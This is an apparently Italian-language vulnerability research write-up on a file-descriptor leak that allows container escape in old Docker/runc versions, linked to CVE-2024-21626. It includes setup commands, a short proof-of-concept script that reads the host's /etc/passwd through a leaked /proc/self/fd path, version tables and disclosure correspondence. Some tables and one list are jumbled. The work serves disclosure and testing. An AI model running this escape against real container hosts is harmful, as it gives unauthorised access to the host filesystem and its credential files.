
Analizza e sfrutta una vulnerabilità di fuga dal container nelle versioni legacy di Docker/runc, dimostrando la perdita di file descriptor (fd) per accedere al filesystem dell'host, con script di configurazione e test.
Durante la mia analisi su CVE-2024-21626 ho scoperto che altri vecchi componenti Docker sono vulnerabili a fd leakage (non menzionato nell'avviso di sicurezza GHSA-xr7r-f8xq-vfvv). Leggi il mio articolo completo per una spiegazione dettagliata qui.
Durante l'installazione non selezionare la casella per scaricare gli aggiornamenti di sistema.
Vai su https://download.docker.com/linux/static/stable/x86_64/ e scarica la vecchia versione docker-X.Y.Z-ce.tgz per testare
Estrailo, copia il contenuto nel percorso /usr/bin ed esegui il demone Docker.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
Nelle vecchie versioni abbiamo docker-runc invece di runc. Quindi verificalo:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
Verifica la versione di doker-runc/runc
runc --version
docker-runc -v
Esegui checkVulnerability.sh e verifica se il file viene stampato nel terminale
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Per questo esempio ho usato la versione docker-17.03.1-ce.

Per questo esempio ho usato la versione docker-17.03.1-ce.

Di seguito i risultati della mia analisi, organizzati per versione Docker e la versione runc associata utilizzata.
| Versione Docker | versione runc | Numero fd leakato |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
Ecco lo screenshot che mostra le tre diverse versioni vulnerabili.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
Come per CVE-2024-21626, i diversi tipi di attacco sono ancora possibili.
Questa vulnerabilità è molto diversa da CVE-2024-21626 perché:
openat2./run/runc/<container>/, che contiene lo stato dei container in esecuzione, anziché nella directory /sys/fs/cgroup dell'host.Quello che ho scoperto è che anche le versioni più vecchie sono vulnerabili alla stessa tecnica di attacco. Sebbene la vulnerabilità stessa sia diversa, il risultato è lo stesso: ottenere accesso al filesystem host. Il punto chiave è non fare affidamento solo sugli advisory di sicurezza: testare tutto a fondo. Capire a fondo la CVE, come funziona, sperimentare in un ambiente sicuro ed esplorare i casi limite.
Ho provato a contattare [email protected], [email protected] e ho cercato di aprire un CVE. Ho ricevuto le seguenti risposte:
| Versione Docker | versione docker-runc | Numero fd leakato |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Richiesta | Risposta |
|---|
| [email protected] (19/03/24) | Le versioni che hai elencato sono tutte versioni EOL del software (~7 anni) e non sono più corrette o mantenute da Docker. Se hai una preoccupazione riguardo le versioni o la formulazione elencate nell'avviso GHSA-xr7r-f8xq-vfvv esistente ("versioni interessate: >= 1.0.0-rc93, <= 1.1.11"), allora il canale corretto per segnalarlo dovrebbe essere la casella di sicurezza OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md Grazie per averci contattato. Facci sapere se possiamo fare altro. |
| [email protected] (20/03/24) | nessuna risposta |
| CVE-MITRE (15/05/2024) | Normalmente non assegniamo ID CVE a problemi che esistono solo in release candidate. https://www.cve.org/CVERecord?id=CVE-2024-21626 ha interessato versioni rilasciate di runc, come la release 1.1.11. |